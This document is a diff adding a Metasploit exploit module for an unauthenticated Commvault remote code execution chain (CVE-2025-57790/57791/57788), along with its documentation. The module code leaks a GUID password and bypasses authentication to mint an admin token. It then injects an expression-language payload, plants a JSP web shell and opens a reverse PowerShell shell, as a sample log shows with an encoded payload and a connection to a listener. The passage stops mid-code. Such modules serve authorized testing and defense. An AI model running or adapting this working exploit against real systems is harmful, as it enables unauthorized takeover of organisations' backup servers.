diff --git a/documentation/modules/exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.md b/documentation/modules/exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.md new file mode 100644 index 0000000000000..46cb7ac94ea07 --- /dev/null +++ b/documentation/modules/exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.md @@ -0,0 +1,107 @@ +## Vulnerable Application +This module exploits an unauthenticated remote code execution exploit chain for Commvault, +tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated +access to the 'localadmin' account, which then facilitates code execution via expression +language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is +necessary knowledge to exploit the remote code execution chain. This module executes in +the context of 'NETWORK SERVICE' on Windows. + +## Testing +To set up a test environment: +1. Install Commvault and perform basic minimum setup (prompted by installer). +2. Confirm that the web service on port 443 is reachable. +3. Follow the verification steps below. + +## Options +No custom options exist for this module. + +## Verification Steps +1. Start msfconsole +2. `use exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791` +3. `set RHOSTS ` +4. `set RPORT ` +5. `run` + +## Scenarios +### Commvault Windows Target +``` +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > show options + +Module options (exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies + : socks5, socks5h, http, sapni, socks4 + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic + s/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to Commvault + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set RHOSTS 192.168.154.222 +RHOSTS => 192.168.154.222 +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set LHOST 192.168.154.139 +LHOST => 192.168.154.139 +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set VERBOSE true +VERBOSE => true +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > run +[*] Started reverse TCP handler on 192.168.154.139:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Attempting to query the publicLink.do endpoint +[*] The server returned a body that included the string cv-gorkha, looks like Commvault +[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178 +[*] Attempting to login as PublicSharingUser +[+] Authenticated as PublicSharingUser, got token: QSDK 36fdc5bd8cd650a1e64d8bd00acec802097a131806f2c712b41d7abf0b3e26d63f934db1efb85444ba371710bd6135bc41f679bf4d923417fc191864f9772780ddc7c7e66c73b7b59721b9acc7ac32bab5fc4d89909a0771229e5e0fd0b51c6ff346b195eb53e4f92c31182701ce7eb78f4a11b0c4653ef48f6e902b61094c9b50ae05715890e9bb9e341b99d003956e1f036a82295f23cf637c8d4046f5c970ad46deb59e3d89579d5dc144f2582e3ae3659c17f19835c40cb8c93c96f063d58d41f2b328e39fda3d2c7e26af2d62bbf +[+] The target is vulnerable. Successfully authenticated as PublicSharingUser +[*] Attempting to query the publicLink.do endpoint +[*] The server returned a body that included the string cv-gorkha, looks like Commvault +[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178 +[*] Attempting PublicServiceUser login using: 572131A8-3182-4423-8850-4A62D6CA2178 +[+] Authenticated as PublicSharingUser, got token: QSDK 388eef6d67c3cf146a17819125e4b33506fd188ec21fe6d191b56cdf1e98527d84135f8508ad2439a6229bc5b44d6a71e83460596c3267113d8365867d834004463aeb263ef8b5a1ecaad5f0f44e310223317e29b987ea8b3311666ce34ddd30121c77652628fd975ce662e21c113c53414806e4fffcf2082b245f9f64f6f20716df1ed46f7da21c6b933bd9c1eabaf7cc8600644f399057a73598e60bf586d6b3c3717fa7fd0e9a4204dae938cb213f855f8eb48ffc37f3a1d38ca74176d919253cdb6405ce27287f4106eb0a5397093 +[*] Attempting to query authenticated API endpoint to get host name and OS +[+] Got target host name: DC01 +[+] Got target host OS: Windows +[*] Attempting to mint a localadmin token using hostname: DC01 +[+] Successfully bypassed authentication +[*] Admin token: QSDK 39cb9de328b232215e42c09650a018488634454cb0f39875976ca7d16039ea739a20ea151935c84b458bd9991b826e46dddccdbe95abfd13b72e0a3b5eb6238cf089302d340f4b421d9f250669b3624fc2d0e4b871db59bc96fe955b8e7d88034d35e310e1c22d717ea1d8a01f5dadfccaf2910128cbe089fce9738bb549c2c6e5aeff59c0644345f3dffe1c73103d8372af95b5e73f018d3fa413727af1592f72d7fc036fdf060d5a6cf183ba1651ab69c5dbdcee110d7a9d01ef490c90fa1ea0fdc1afc52ba5f5ee8b58ee4349efc92c086d4c2ab1be97123385e78ca8f68ae3f88b1142382013438226acdc4e6b10701120f07d6acd1f7 +[*] Extracted localadmin user ID number: 4 +[*] Got JSON response, searching for installation path disclosures +[+] Leaked the installation path: C:\Program Files\Commvault\ContentStore +[*] Got user description: System created Admin User for qcommand operations +[*] Uploading XML file: + +[*] Updating user description: 4${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('powershell -w hidden -nop -e YwBtAGQALgBlAHgAZQAgAC8AYwAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBuAG8AbgBpACAALQBlAHAAIABiAHkAcABhAHMAcwAgACIAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARABBAC8AeQBHAGcAQwBBADUAVgBWAFgAVwAvAGIATgBoAFIAOQA5ADYAKwA0AE0ATgBSAEcAUQBtAHoAQwA5AHIAcABoAEQAWgBDAGkAbgBwAG8ATwBBAGIATABXAHEATABMAGwAdwBUAEEAUQBtAHIAcQBPAHQAZABDAGsAUwAxAHsAMgB9AHgAagBjAFQALwBmAGEAUgB7ADEAfQBmAFQAaABPAHMASgBZAFAAdABzAGgANwBlAFgAaAA0ADcAaQBHADUAeQBBAFUAegBtAFIAVAB3AEoANQByACsARABjADQAWgB6ADEAQQBZADYARAB4ADIAdwBMAFoAZwB3ACsAQQBjACcAJwArACcAJwB2AHUAQwBtAC8AMwBYACsATAB6AEkARAAvAGUAdgBkAEcAcgAvAFEARgBkAHAAQgBRADIAeAArAFgATwBSAFgAeQBlAFIAdgBqAFoAOQB3AFEAWABOAHUAWQBvAFcAcABqAFcAUwBVAGEAdwBzAFIARwBKAFYAagBuAFQAVgBSAGMAcgBzAGoAegB6AEwAcwBlAEcAdQBrAHkAdQAzAHMATwA0AHUAewAyAH0ANABsAHAAdQBVAE4AbQBlAFoAUQBkAEYAZgB7ADEAfQBJAFYAWABZAFgAbAA5AHoAUQB4AHsAMgB9AGgATgAzAHMAeQBDAFcAcQB4AFUAVgBhAGUAOQB3AE4ATgBHAGMAUwBmAEYAcwA4AEoAUABjAEMAQwA1AHAAVwBvAHgARwBIAGwATgBKAGgAbABxAEQARgAyAEEAbAAwADUAeQBqAEkALwBnAHgAagB7ADIAfQBCAE0AeQBSAFkAUQBWAHMAdABBAEgANwA5AEQAZAA1ADYASgB0AEIAcwBWAHcAWABKAGUATQBaAGQAbgAyAHEAQgBBAFoAUwBkAFAAawA1ADMAOQBYAGgARwBuAFcAaQBMAFoAUABSAHAATgByAHQAbgA2ACcAJwArACcAJwB5AG0AZgBNADMAdABsADIAUABKAEYAbwBRADUAVgB4ADYALwBxAFYAaQA2AGcAdgAwAFgAawByAGIAOAB3AFkAcgBvADAARgBMAE0AcwBSAGwAbABUADIAcgA5AEYAVgArAEkAQgB7ADIAfQA0AHoASABqAEcAcgBwAFYAOABwAGUAWQB4AHgATwAvAFUASABmADQAZgBrAFMARwB2AC8AMQBPAGgAcgArACsASQA4AE4AZgAzACcAJwArACcAJwBuAGQANwBiAGkAZAArACsAVQA0AHAAbwBUAFkAewAyAH0ANgBjAHIAeABMAGUARwBKAHQAVgBwAFMAagBGAG0AZQBEAGMATwB5AFEAaQBWAEIANQA1AGEAdQBMADAAaQBMAG4AdABZADgAcQBjAEIAZQBZAFkAZwBzAFYANQBuAFoAawBhAFIAewAyAH0ARABmADMANgB2AFcAQgBoAGIAWQBXADkAOABEAEcANAB0ACcAJwArACcAJwB1AGgANwA2AEYATQBOADAAJwAnACsAJwAnADQATQA1ADMAMwBBAGwARABjAGEAbwBUAEwAYgBJAEcARABYADQARAArAFYAWgBTAHAAMwAzAFkAcwByADUAbgBMAEwANwBXAFIAUwA5AFEASQBlAE0AYwA3AE4AMAB4AG4AVwBUAHgAdgBwAFYAYgBRAHsAMgB9AFIAYwA5ADcAcgBHAHEANgBIAG8ANgA0AG4AMQBNAGEAcgBoAFcAbwAyADIAbABaAHkATwB0ADgAWgBuAE0ANQBtAGcAZgB0ADMAbABoAHcAUQBNAGgAcgBZADkAdgBUAG0AYwBiAEQAMwBZAHEATgBJAHEAMwBBADQATgBiAGcAMQBCACcAJwArACcAJwBBAFcAVABxAGYAUAA3ADIAZABrADQAaQBTADgAdgBJADEAZQBBAFAAMQB4AE8AMgBMADIAeAB4AHAAVQBiAEQAUgBOADMAdABKAEkAbABjAGcANABxAEYAOABKAG0AZwA1AFUAbgAxADkAYQA4AFgAVABpAEYAQQBNAFgARABtAGUAJwAnACsAJwAnAHMASgBkAC8AUgBQADcAWgBpAHQAVgBCADEAZwBjAHIAWABPAFQAUgBPADgARgBiAEYAYwA3ADEAUgAyAHQAegBRAFEAeABoAEgAOABsAFQAewAxAH0AbAB0AFYAdwBZAGkAewAyAH0AVgBhAFMAMQBVAG8AUwBtAEQAcwBGAG4ATgBKAEcAaABSAGEANwBBAGQATQB5AGEAMgA0AEYAZAA2AFcAWABnADUAeQBZADIAdQBEAFkAYgBPAHgAMwBxAEQAWABkAE0AZwBWAGkAagB1AHoAYgBQAHUAbwBPAHQAUgB0AEoAeAAwAFoANgBlAGQAVQBtAHAANwBPADQATQBwAEMATwBsAG4AOABoAFUAQgBxAG4AagAvAFAAdABaAHIAMQBXAGEAbwBMAHkAcABhAFcAYwB3AGsAewAyAH0AbQBhAGcAdgBuAEMAYQByAG8AZQAxAGEAZQBIAEIAUABSADYAVABhAGIAWABtAGwAVgBVAGoAUgAwADYAVgAnACcAKwAnACcANABrAFAAZgBZAHYAOQBpAHUAcgBiAGIAYQA2ACcAJwArACcAJwBsADIAagA3AE4AdQBXADIAaQB3AHoAagBtAHsAMQB9AFkAWgBJAFgAcgB5AGsAMQA4AFEANQBxACcAJwArACcAJwBHAHAAYwBkADYATQBPAGgAQgBjAE0AQQArAGcAcgA1AEEARwBCAHgASgBlAHUASAAwAHcALwBUAGEAYQB2AG4AYQBrACsASABQAHEAVQBzAGgAaABjAFkAWABYAHYATQBHAHgAWgA0ADIANgBxAGkAMAAwAFAAeAAxAFUAZQB5AHUAewAxAH0AaABXAEMATABIAHAAVwBUAFgAcwA0AFgAVABHAFAAOQBnADMAOQA2AHUAbwByAHcAVQBjAGYAMwBnADcAaABDAGIANwBtAHAAbAArAGkAZwBqAGYAUABBAGQAUQBJAEMAawB7ADEAfQBxADQARgBNADQAbQBTAFIAdwBZAHYAOABMAC8AYQA4AGsAewAyACcAJwArACcAJwB9AHoAdwBjAGsAUQBrADEAUwB4AGYAOQBBAEMAYwBOAHkATgBZAFIAQwBWAEEAcABxAGEAYQBEADIAYwBGAGkATABkAFoARgBuAEQAQwBPAFYASQBYAFIAUwB3AHoATwAyAHgAMQA3ADEATABhAGQAWQB3AFAALwBrAEgAOABiAG0AUAA5ADEAYgBOAHUAdwBSADMANgB0ADUAbgB6AG0AdQAnACcAKwAnACcAVgA3AFcAcgA2AEcAJwAnACsAJwAnAC8AZQBQAHoAZABIAG4ATwBwADAAZQArAG4ATwBJADcAVgBHADkAVQAyAFQAUABOAHcASgBVAGEAdQBxADkAZgB7ADIAfQAvADEAcABuADEAZwA5ADkAWABUAHYALwBZAHYAMABIAGQAVwBxADkAewAyAH0AcQA0AEkAQQBBAEEAewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBFACcAJwAsACcAJwBLACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACIAJwA=').getInputStream()).useDelimiter('%5C%5CA').next()} +[*] Moving XML file to web shell: qoperation execute -af C:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\Upload\b2e65d7a\b2e65d7a.xml -file C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp +[*] Accessing the web shell file: b2e65d7a.jsp +[!] Tried to delete C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp, unknown result +[*] Powershell session session 1 opened (192.168.154.139:4444 -> 192.168.154.222:50011) at 2025-09-15 11:33:22 -0500 +[*] Updating user description: 4System created Admin User for qcommand operations +msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > sessions -i 1 +[*] Starting interaction with 1... + +PS C:\Program Files\Commvault\ContentStore\Apache\bin> whoami +nt authority\network service + +``` diff --git a/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb b/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb new file mode 100644 index 0000000000000..e1bdf57821ead --- /dev/null +++ b/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb @@ -0,0 +1,492 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Commvault Command-Line Argument Injection to Traversal Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution exploit chain for Commvault, + tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated + access to the 'localadmin' account, which then facilitates code execution via expression + language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is + necessary knowledge to exploit the remote code execution chain. This module executes in + the context of 'NETWORK SERVICE' on Windows. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Sonny Macdonald', # Original discovery + 'Piotr Bazydlo', # Original discovery + 'remmons-r7' # MSF exploit + ], + 'References' => [ + ['CVE', '2025-57790'], + ['CVE', '2025-57791'], + ['CVE', '2025-57788'], + # Argument injection advisory + ['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html'], + # Path traversal advisory + ['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html'], + # Non-blind expression language payload (from an Ivanti EPMM exploit chain) + ['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability'] + ], + 'DisclosureDate' => '2025-08-19', + # Runs as the 'NETWORK SERVICE' user on Windows + 'Privileged' => false, + # Although Linux installations are also affected, I didn't establish a reliable full path leak on the older Linux version I tested + 'Platform' => ['windows'], + 'Arch' => [ARCH_CMD], + 'DefaultTarget' => 0, + 'Targets' => [ + [ + 'Default', { + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp', + 'SSL' => true + }, + 'Payload' => { + # The ampersand character isn't properly embedded in payloads sent to the web API, so use a base64 PowerShell command instead + 'BadChars' => '&' + } + } + ] + ], + 'Notes' => { + # Confirmed to work multiple times in a row + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + # The log files will contain IOCs, including the written web shell path + # If successful, an abnormal XML file and web shell will be written to disk (will attempt automatic cleanup of JSP file) + # The localadmin user's description will be updated to include the expression language payload (although this should be reverted) + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The base path to Commvault', '/']) + ] + ) + end + + def check + # Query an unauthenticated web API endpoint to attempt to extract the PublicSharingUser GUID password + res = check_commvault_info + + return CheckCode::Unknown('Failed to get a response from the target') unless res + + # If the response body contains "cv-gorkha", we assume it's Commvault + if res.code == 200 && res.body.include?('cv-gorkha') + vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault') + + regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/ + sharinguser_pass = res.body.scan(regex)[0][0] + + # If the regex fails to extract the GUID, we return Safe + if sharinguser_pass.blank? + return CheckCode::Safe('The target returned an unexpected response that did not contain the desired GUID') + end + + vprint_good("Fetched GUID: #{sharinguser_pass}") + + vprint_status('Attempting to login as PublicSharingUser') + res = login_as_publicsharinguser(sharinguser_pass) + + return CheckCode::Unknown('Failed to get a response from the target') unless res + + if res.code != 200 + CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because a non-200 status was returned') + end + + # Extract the token from the login response + regex = /(QSDK [a-zA-Z0-9]+)/ + psu_token = res.body.scan(regex)[0][0] + + if psu_token.blank? + CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because no token was returned') + else + vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}") + return CheckCode::Vulnerable('Successfully authenticated as PublicSharingUser') + end + + else + return CheckCode::Safe('The target server did not provide a response with the expected password leak') + end + end + + def check_commvault_info + vprint_status('Attempting to query the publicLink.do endpoint') + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'publicLink.do') + ) + end + + def leak_target_info + # The 'activeMQConnectionURL' leak depicted in the finder blog post is not present on many systems by default + # CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info + psu_pass = extract_publicsharinguser_pass + + vprint_status("Attempting PublicServiceUser login using: #{psu_pass}") + res = login_as_publicsharinguser(psu_pass) + + fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res + + if res.code != 200 + fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable') + end + + # Extract the token from the login response + regex = /(QSDK [a-zA-Z0-9]+)/ + psu_token = res.body.scan(regex)[0][0] + + if psu_token.blank? + fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable') + end + + vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}") + + res = get_host_info(psu_token) + + fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res + + if res.code != 200 + fail_with(Failure::Unknown, 'Failed to get host info, the target returned a non-200 status') + end + + regex = /hostName="([^"]+)" / + # Extract value, and make sure it isn't a FQDN for systems that are joined to a domain (strip period and anything after, if present) + hostname = res.body.scan(regex)[0][0].split('.').first + + regex = /osType="([^"]+)" / + target_os = res.body.scan(regex)[0][0] + + if hostname.blank? || target_os.blank? + fail_with(Failure::UnexpectedReply, 'The target response unexpectedly did not provide a host name or OS string') + end + + return hostname, target_os + end + + def extract_publicsharinguser_pass + # Fetch and extract the GUID that serves double-duty as the internal _+*PublicSharingUser_* user's password + res = check_commvault_info + + fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res + + # If the response body contains "cv-gorkha", we assume it's Commvault + if res.code == 200 && res.body.include?('cv-gorkha') + vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault') + + regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/ + sharinguser_pass = res.body.scan(regex)[0][0] + + # If the regex fails to extract the GUID, we return NoAccess + if sharinguser_pass.blank? && hostname.blank? + fail_with(Failure::NoAccess, 'The target server is Commvault, but the PublicSharingUser password could not be leaked') + end + + vprint_good("Fetched GUID: #{sharinguser_pass}") + return sharinguser_pass + else + fail_with(Failure::UnexpectedReply, 'The target server did not provide a response with the expected password leak') + end + end + + def login_as_publicsharinguser(password) + # Use the leaked GUID value to login as the _+*PublicSharingUser_* user (CVE-2025-57788) + # This level of access is used to leak the host name via a low-privilege authenticated API endpoint + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'), + 'ctype' => 'application/json', + 'data' => { + 'username' => '_+_PublicSharingUser_', + # Passwords are base64 encoded for login + 'password' => Base64.strict_encode64(password) + }.to_json + ) + end + + def get_host_info(token) + # Extract the host name and OS from an authenticated API as PublicServiceUser + vprint_status('Attempting to query authenticated API endpoint to get host name and OS') + + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'CommServ'), + 'headers' => { + 'Authtoken' => token + } + ) + end + + def bypass_authentication(hostname) + # Bypass authentication and return a valid token for the internal localadmin user + vprint_status("Attempting to mint a localadmin token using hostname: #{hostname}") + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'), + 'ctype' => 'application/json', + 'data' => { + # Username must contain the valid system host name + 'username' => "#{hostname}_localadmin__", + # Since the malicious password to bypass authentication is a static string, randomly pad with spaces to subvert easy static detections + 'password' => Base64.strict_encode64("#{' ' * rand(1..8)}a#{' ' * rand(1..8)}-localadmin#{' ' * rand(1..8)}"), + # Must contain the valid system host name, cannot be padded with spaces + 'commserver' => "#{hostname} -cs #{hostname}" + }.to_json + ) + end + + def leak_full_path(token) + # Since we need to provide a full filesystem path to write the web shell, we need to know what the installation path is + # We'll attempt to use an authenticated API to leak this information + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Workflow'), + 'ctype' => 'application/json', + 'headers' => { + 'Authtoken' => token, + 'Accept' => 'application/json' + } + ) + end + + def get_user_desc(token, uid) + # Grab the pre-existing user description to reinstate after exploitation + res = send_request_cgi( + 'method' => 'GET', + 'ctype' => 'application/json', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid), + 'headers' => { + 'Authtoken' => token, + 'Accept' => 'application/json' + } + ) + + fail_with(Failure::Unknown, 'No response when getting user description') unless res + + if res.code != 200 + fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when checking the user description') + end + + res.get_json_document['users'][0]['description'] + end + + def update_user_desc(token, uid, desc) + # Perform a request to update the user description + xml_data = "#{uid}#{desc}" + vprint_status("Updating user description: #{xml_data}") + + send_request_cgi( + 'method' => 'POST', + 'ctype' => 'application/xml', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid), + 'headers' => { + 'Authtoken' => token + }, + 'data' => xml_data + ) + end + + def execute_command(hostname, uid, cmd, token, install_path, prev_desc) + # This EL injection payload was taken from EITW of an Ivanti vuln. It's non-blind, which is a nice benefit + # Note that ampersand is a bad character in the injection context + payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}" + + # Weaponize unauthenticated file upload to create an XML file that defines an operation to retrieve user details + user_details_op_xml = "\r\n\t" + message = Rex::MIME::Message.new + + # These can be anything. Random hex str to avoid signatures where possible + random_str = rand_text_hex(8) + message.add_part(random_str, nil, nil, 'form-data; name="username"') + message.add_part(random_str, nil, nil, 'form-data; name="password"') + message.add_part(random_str, nil, nil, 'form-data; name="ccid"') + message.add_part(random_str, nil, nil, 'form-data; name="uploadToken"') + + # File contents to write + message.add_part(user_details_op_xml, nil, nil, "form-data; name=\"file\"; filename=\"#{random_str}.xml\"") + + vprint_status("Uploading XML file: #{user_details_op_xml}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'metrics', 'metricsUpload.do'), + 'ctype' => "multipart/form-data; boundary=#{message.bound}", + 'data' => message.to_s + ) + + fail_with(Failure::Unknown, 'No response when uploading XML file') unless res + + if res.code != 200 + vprint_status("Unexpected status code: #{res.code}") + fail_with(Failure::UnexpectedReply, 'Non-200 status code when uploading XML file') + end + + # The localadmin user's description is set to EL payload + res = update_user_desc(token, uid, payload) + + fail_with(Failure::Unknown, 'No response when setting user description') unless res + + if res.code != 200 + fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when updating user description') + end + + # Wrap in begin/ensure so that the injection in localadmin user description will be cleaned up + begin + # Move XML file to web shell + qcommand_op = "qoperation execute -af #{install_path}\\Reports\\MetricsUpload\\Upload\\#{random_str}\\#{random_str}.xml -file #{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp" + + vprint_status("Moving XML file to web shell: #{qcommand_op}") + + res = send_request_cgi( + 'method' => 'POST', + 'ctype' => 'text/plain', + 'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'QCommand'), + 'headers' => { + 'Authtoken' => token + }, + 'data' => qcommand_op + ) + + fail_with(Failure::Unknown, 'No response when creating web shell') unless res + + if res.code != 200 || !res.body.include?('Operation Successful.Results written') + fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code with success message when creating web shell') + end + + # Register the newly written JSP web shell file for cleanup + register_file_for_cleanup("#{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp") + + # Access the web shell to trigger remote code execution + vprint_status("Accessing the web shell file: #{random_str}.jsp") + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "#{random_str}.jsp") + }, nil) + ensure + # Reinstate the pre-existing user description + res = update_user_desc(token, uid, prev_desc) + + fail_with(Failure::Unknown, 'No response when resetting user description') unless res + + if res.code != 200 + fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when resetting user description') + end + end + end + + def parse_json(json_inp, hostname) + # Extract full path disclosure for the target host from the parameter #1 API response JSON + + container = Array(json_inp['container']) + deployments = container.flat_map { |c| Array(c['deployments']) } + + # Find "{drive}:\\"" + any number of intermediary directories + "\\Commvault\\ContentStore", and only where sibling 'clientName' is the Commvault server + regex = /([A-Z]:\\(?:[^\\]+\\)*Commvault\\ContentStore)\\?/i + + # This gets a little gnarly, but it has worked for all the test data I have tried (including Commvault documentation example responses) + # Can't simply search for Windows file path patterns here, because this API endpoint also returns some file paths from other hosts + paths = deployments + .select { |d| d.dig('client', 'clientName')&.casecmp?(hostname) } + .map { |d| d.dig('inputForm', 'destPath') } + .compact + .map { |p| p.tr('/', '\\') } + .filter_map { |p| p[regex, 1] } + + if paths.blank? + fail_with(Failure::NotFound, 'The target unexpectedly did not return a full path disclosure') + end + + # Return the first full path disclosure and swap the double backslashes for single (for use in QOperation rejects double backslashes) + paths[0].gsub('\\\\', '\\') + end + + def exploit + # Leak the PublicSharingUser GUID password, authenticate, then query an authenticated API endpoint for target info + leaked = leak_target_info + + hostname = leaked[0] + target_os = leaked[1] + + if hostname.blank? || target_os.blank? + fail_with(Failure::Unknown, 'Unexpectedly unable to query target system details as PublicSharingUser') + end + + vprint_good("Got target host name: #{hostname}") + vprint_good("Got target host OS: #{target_os}") + + # Check to confirm the target is supported + if (target_os.casecmp('windows') != 0) + fail_with(Failure::BadConfig, 'This module only supports Windows targets') + end + + # Attempt to use the host name to exploit the authentication bypass and retrieve a localadmin token + res = bypass_authentication(hostname) + + fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res + + # If the response is 200 and includes the token prefix, grab that token + if res.code == 200 && res.body.include?('"QSDK ') + print_good('Successfully bypassed authentication') + + # Extract token for later use (cookie is also persisted) + regex = /(QSDK [a-zA-Z0-9]+)/ + admin_token = res.body.scan(regex)[0][0] + + vprint_status("Admin token: #{admin_token}") + + # Extract the aliasName field, which contains the dynamic user ID number (typically single digit) + regex = /aliasName[=:]"(\d\d?)/ + admin_uid = res.body.scan(regex)[0][0] + vprint_status("Extracted localadmin user ID number: #{admin_uid}") + + # If the response doesn't contain the admin token, the exploit has failed + else + fail_with(Failure::NoAccess, 'The authentication bypass failed - the target may not be vulnerable, or perhaps the host name leak failed') + end + + # Hit the admin-only web API endpoint that leaks one or more full Windows file paths + res = leak_full_path(admin_token) + + fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res + + if res.code != 200 + fail_with(Failure::Unknown, 'The target returned a non-200 status when attempting to leak full path') + end + + # Assign the JSON response body + leaked_json = res.get_json_document + + vprint_status('Got JSON 